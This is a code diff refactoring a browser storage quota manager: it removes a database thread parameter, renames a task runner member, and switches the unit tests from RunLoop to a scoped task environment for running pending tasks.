diff --git a/storage/browser/quota/quota_manager.h b/storage/browser/quota/quota_manager.h
index b545b681..5973b5b 100644
--- a/storage/browser/quota/quota_manager.h
+++ b/storage/browser/quota/quota_manager.h
@@ -127,7 +127,6 @@
       bool is_incognito,
       const base::FilePath& profile_path,
       const scoped_refptr<base::SingleThreadTaskRunner>& io_thread,
-      const scoped_refptr<base::SequencedTaskRunner>& db_thread,
       const scoped_refptr<SpecialStoragePolicy>& special_storage_policy,
       const GetQuotaSettingsFunc& get_settings_function);
 
@@ -432,7 +431,7 @@
   bool db_disabled_;
   bool eviction_disabled_;
   scoped_refptr<base::SingleThreadTaskRunner> io_thread_;
-  scoped_refptr<base::SequencedTaskRunner> db_thread_;
+  scoped_refptr<base::SequencedTaskRunner> db_runner_;
   mutable std::unique_ptr<QuotaDatabase> database_;
   bool is_database_bootstrapped_ = false;
 
diff --git a/storage/browser/quota/quota_manager_unittest.cc b/storage/browser/quota/quota_manager_unittest.cc
index 9ec9672..67d9c0c 100644
--- a/storage/browser/quota/quota_manager_unittest.cc
+++ b/storage/browser/quota/quota_manager_unittest.cc
@@ -103,14 +103,13 @@
   void TearDown() override {
     // Make sure the quota manager cleans up correctly.
     quota_manager_ = NULL;
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
   }
 
  protected:
   void ResetQuotaManager(bool is_incognito) {
     quota_manager_ = new QuotaManager(is_incognito, data_dir_.GetPath(),
                                       base::ThreadTaskRunnerHandle::Get().get(),
-                                      base::ThreadTaskRunnerHandle::Get().get(),
                                       mock_special_storage_policy_.get(),
                                       storage::GetQuotaSettingsFunc());
     SetQuotaSettings(kDefaultPoolSize, kDefaultPerHostQuota,
@@ -482,13 +481,15 @@
   int status_callback_count() const { return status_callback_count_; }
   void reset_status_callback_count() { status_callback_count_ = 0; }
 
+ protected:
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
+
  private:
   base::Time IncrementMockTime() {
     ++mock_time_counter_;
     return base::Time::FromDoubleT(mock_time_counter_ * 10.0);
   }
 
-  base::test::ScopedTaskEnvironment scoped_task_environment_;
   base::ScopedTempDir data_dir_;
 
   scoped_refptr<QuotaManager> quota_manager_;
@@ -539,7 +540,7 @@
       QuotaClient::kDatabase));
 
   GetUsageInfo();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   EXPECT_EQ(4U, usage_info().size());
   for (size_t i = 0; i < usage_info().size(); ++i) {
@@ -568,20 +569,20 @@
       QuotaClient::kFileSystem));
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(80, usage());
   EXPECT_EQ(0, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_LE(0, quota());
   int64_t quota_returned_for_foo = quota();
 
   GetUsageAndQuotaForWebApps(GURL("http://bar.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(quota_returned_for_foo, quota());
@@ -589,30 +590,30 @@
 
 TEST_F(QuotaManagerTest, GetUsage_NoClient) {
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(0, unlimited_usage());
 
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(0, unlimited_usage());
 }
@@ -620,30 +621,30 @@
 TEST_F(QuotaManagerTest, GetUsage_EmptyClient) {
   RegisterClient(CreateClient(NULL, 0, QuotaClient::kFileSystem));
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(0, unlimited_usage());
 
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(0, unlimited_usage());
 }
@@ -666,7 +667,7 @@
   SetQuotaSettings(kPoolSize, kPerHostQuota, kMustRemainAvailableForSystem);
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
 
@@ -675,7 +676,7 @@
   EXPECT_EQ(kPerHostQuota, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://bar.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(5 + 7, usage());
   EXPECT_EQ(kPerHostQuota, quota());
@@ -704,37 +705,37 @@
   SetQuotaSettings(kPoolSize, kPerHostQuota, kMustRemainAvailableForSystem);
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(1 + 128, usage());
   EXPECT_EQ(kPerHostQuota, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://bar.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4, usage());
   EXPECT_EQ(0, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(512, usage());
   EXPECT_EQ(kAvailableSpaceForApp + usage(), quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(8, usage());
   EXPECT_EQ(kAvailableSpaceForApp + usage(), quota());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(1 + 2 + 128 + 512, usage());
   EXPECT_EQ(512, unlimited_usage());
 
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4 + 8 + 256, usage());
   EXPECT_EQ(8, unlimited_usage());
@@ -762,7 +763,7 @@
   RegisterClient(client3);
 
   GetUsageAndQuotaWithBreakdown(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(80, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 80;
@@ -771,7 +772,7 @@
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(1 + 4 + 8, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 1;
@@ -780,7 +781,7 @@
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://bar.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 0;
@@ -793,24 +794,24 @@
   base::flat_map<QuotaClient::ID, int64_t> usage_breakdown_expected;
 
   GetUsageAndQuotaWithBreakdown(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetHostUsageBreakdown("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetHostUsageBreakdown("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 }
@@ -826,14 +827,14 @@
       CreateClient(kData, arraysize(kData), QuotaClient::kFileSystem));
 
   GetUsageAndQuotaWithBreakdown(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 10 + 20;
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://bar.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(5 + 7, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 5 + 7;
@@ -860,7 +861,7 @@
       CreateClient(kData2, arraysize(kData2), QuotaClient::kDatabase));
 
   GetUsageAndQuotaWithBreakdown(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(1 + 128, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 1;
@@ -868,7 +869,7 @@
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://bar.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 4;
@@ -876,7 +877,7 @@
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(512, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 0;
@@ -884,7 +885,7 @@
   EXPECT_EQ(usage_breakdown_expected, usage_breakdown());
 
   GetUsageAndQuotaWithBreakdown(GURL("http://unlimited/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(8, usage());
   usage_breakdown_expected[QuotaClient::kFileSystem] = 8;
@@ -902,7 +903,7 @@
   RegisterClient(client);
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
 
@@ -911,19 +912,19 @@
   client->AddOriginAndNotify(GURL("https://foo.com/"), type, 1);
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20 + 30 - 5 + 1, usage());
   int foo_usage = usage();
 
   client->AddOriginAndNotify(GURL("http://bar.com/"), type, 40);
   GetUsageAndQuotaForWebApps(GURL("http://bar.com/"), type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(40, usage());
 
   GetGlobalUsage(type);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(foo_usage + 40, usage());
   EXPECT_EQ(0, unlimited_usage());
 }
@@ -949,7 +950,7 @@
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
   EXPECT_EQ(kPerHostQuota, quota());
@@ -959,7 +960,7 @@
                                  kTemp);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kTemp);
   RunAdditionalUsageAndQuotaTask(GURL("http://bar.com/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
   EXPECT_EQ(kPerHostQuota, quota());
@@ -991,7 +992,7 @@
 
   // Nuke before waiting for callbacks.
   set_quota_manager(NULL);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaErrorAbort, status());
 }
 
@@ -1011,23 +1012,23 @@
   // quota calculations for an individual origin, so despite global usage
   // in excess of our poolsize, we still get the nominal quota value.
   GetStorageCapacity();
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_LE(kMustRemainAvailableForSystem, available_space());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage1/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(1, usage());
   EXPECT_EQ(kPerHostQuota, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage10/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_EQ(kPerHostQuota, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage200/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(200, usage());
   EXPECT_EQ(kPerHostQuota, quota());  // should be clamped to the nominal quota
@@ -1049,30 +1050,30 @@
   SetQuotaSettings(1000, kPerHostQuotaFor1000, kMustRemainAvailableForSystem);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(10 + 50 + 4000, usage());
   EXPECT_EQ(4000, unlimited_usage());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage10/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_EQ(kPerHostQuotaFor1000, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage50/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(50, usage());
   EXPECT_EQ(kPerHostQuotaFor1000, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4000, usage());
   EXPECT_EQ(kAvailableSpaceForApp + usage(), quota());
 
   GetUsageAndQuotaForStorageClient(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(QuotaManager::kNoLimit, quota());
@@ -1082,25 +1083,25 @@
   SetQuotaSettings(100, kPerHostQuotaFor100, kMustRemainAvailableForSystem);
 
   GetUsageAndQuotaForWebApps(GURL("http://usage10/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_EQ(kPerHostQuotaFor100, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage50/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(50, usage());
   EXPECT_EQ(kPerHostQuotaFor100, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4000, usage());
   EXPECT_EQ(kAvailableSpaceForApp + usage(), quota());
 
   GetUsageAndQuotaForStorageClient(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(QuotaManager::kNoLimit, quota());
@@ -1110,30 +1111,30 @@
   mock_special_storage_policy()->NotifyCleared();
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(10 + 50 + 4000, usage());
   EXPECT_EQ(0, unlimited_usage());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage10/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10, usage());
   EXPECT_EQ(kPerHostQuotaFor100, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://usage50/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(50, usage());
   EXPECT_EQ(kPerHostQuotaFor100, quota());
 
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4000, usage());
   EXPECT_EQ(kPerHostQuotaFor100, quota());
 
   GetUsageAndQuotaForStorageClient(GURL("http://unlimited/"), kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(4000, usage());
   EXPECT_EQ(kPerHostQuotaFor100, quota());
@@ -1165,11 +1166,11 @@
   RegisterClient(CreateClient(NULL, 0, QuotaClient::kFileSystem));
 
   GetPersistentHostQuota("foo.com");
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, quota());
 
   SetPersistentHostQuota("foo.com", 100);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(100, quota());
 
   GetPersistentHostQuota("foo.com");
@@ -1177,14 +1178,14 @@
   GetPersistentHostQuota("foo.com");
   SetPersistentHostQuota("foo.com", QuotaManager::kPerHostPersistentQuotaLimit);
   GetPersistentHostQuota("foo.com");
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(QuotaManager::kPerHostPersistentQuotaLimit, quota());
 
   // Persistent quota should be capped at the per-host quota limit.
   SetPersistentHostQuota("foo.com",
                          QuotaManager::kPerHostPersistentQuotaLimit + 100);
   GetPersistentHostQuota("foo.com");
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(QuotaManager::kPerHostPersistentQuotaLimit, quota());
 }
 
@@ -1192,14 +1193,14 @@
   RegisterClient(CreateClient(NULL, 0, QuotaClient::kFileSystem));
 
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(0, quota());
 
   SetPersistentHostQuota("foo.com", 100);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(100, quota());
@@ -1207,13 +1208,13 @@
   // The actual space avaialble is given to 'unlimited' origins as their quota.
   mock_special_storage_policy()->AddUnlimited(GURL("http://unlimited/"));
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kAvailableSpaceForApp, quota());
 
   // GetUsageAndQuotaForStorageClient should just return 0 usage and
   // kNoLimit quota.
   GetUsageAndQuotaForStorageClient(GURL("http://unlimited/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(0, usage());
   EXPECT_EQ(QuotaManager::kNoLimit, quota());
 }
@@ -1230,7 +1231,7 @@
   // kAvailableSpaceForApp as syncable quota (because of the pre-condition).
   mock_special_storage_policy()->AddUnlimited(GURL("http://unlimited/"));
   GetUsageAndQuotaForWebApps(GURL("http://unlimited/"), kSync);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(0, usage());
   EXPECT_EQ(kAvailableSpaceForApp, quota());
@@ -1252,7 +1253,7 @@
 
   SetPersistentHostQuota("foo.com", 100);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20 + 13 + 19, usage());
   EXPECT_EQ(100, quota());
@@ -1276,7 +1277,7 @@
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
   EXPECT_EQ(100, quota());
@@ -1286,7 +1287,7 @@
                                  kPerm);
   GetUsageAndQuotaForWebApps(GURL("http://foo.com/"), kPerm);
   RunAdditionalUsageAndQuotaTask(GURL("http://bar.com/"), kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
   EXPECT_EQ(10 + 20, usage());
   EXPECT_EQ(2, additional_callback_count());
@@ -1310,7 +1311,7 @@
 
   // Nuke before waiting for callbacks.
   set_quota_manager(NULL);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaErrorAbort, status());
 }
 
@@ -1328,21 +1329,21 @@
       QuotaClient::kFileSystem));
 
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 1 + 20 + 600000);
   EXPECT_EQ(0, unlimited_usage());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 300 + 4000 + 50000 + 7000000);
   EXPECT_EQ(0, unlimited_usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 1 + 20);
 
   GetHostUsage("buz.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 4000 + 50000);
 }
 
@@ -1362,7 +1363,7 @@
   RegisterClient(client);
 
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 1 + 20 + 600000);
   EXPECT_EQ(0, unlimited_usage());
 
@@ -1370,12 +1371,12 @@
       GURL("http://foo.com/"), kPerm, 80000000);
 
   GetGlobalUsage(kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 1 + 20 + 600000 + 80000000);
   EXPECT_EQ(0, unlimited_usage());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 300 + 4000 + 50000 + 7000000);
   EXPECT_EQ(0, unlimited_usage());
 
@@ -1383,19 +1384,19 @@
       GURL("http://foo.com/"), kTemp, 1);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 300 + 4000 + 50000 + 7000000 + 1);
   EXPECT_EQ(0, unlimited_usage());
 
   GetHostUsage("buz.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 4000 + 50000);
 
   client->ModifyOriginAndNotify(
       GURL("http://buz.com/"), kTemp, 900000000);
 
   GetHostUsage("buz.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(usage(), 4000 + 50000 + 900000000);
 }
 
@@ -1411,38 +1412,38 @@
   RegisterClient(client);
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_global_tmp = usage();
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_tmp = usage();
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   int64_t predelete_host_pers = usage();
 
   DeleteClientOriginData(client, GURL("http://foo.com/"),
                          kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(kQuotaStatusOk, status());
 
   GetGlobalUsage(kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_global_tmp - 1, usage());
 
   GetHostUsage("foo.com", kTemp);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
   EXPECT_EQ(predelete_host_tmp - 1, usage());
 
   GetHostUsage("foo.com", kPerm);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
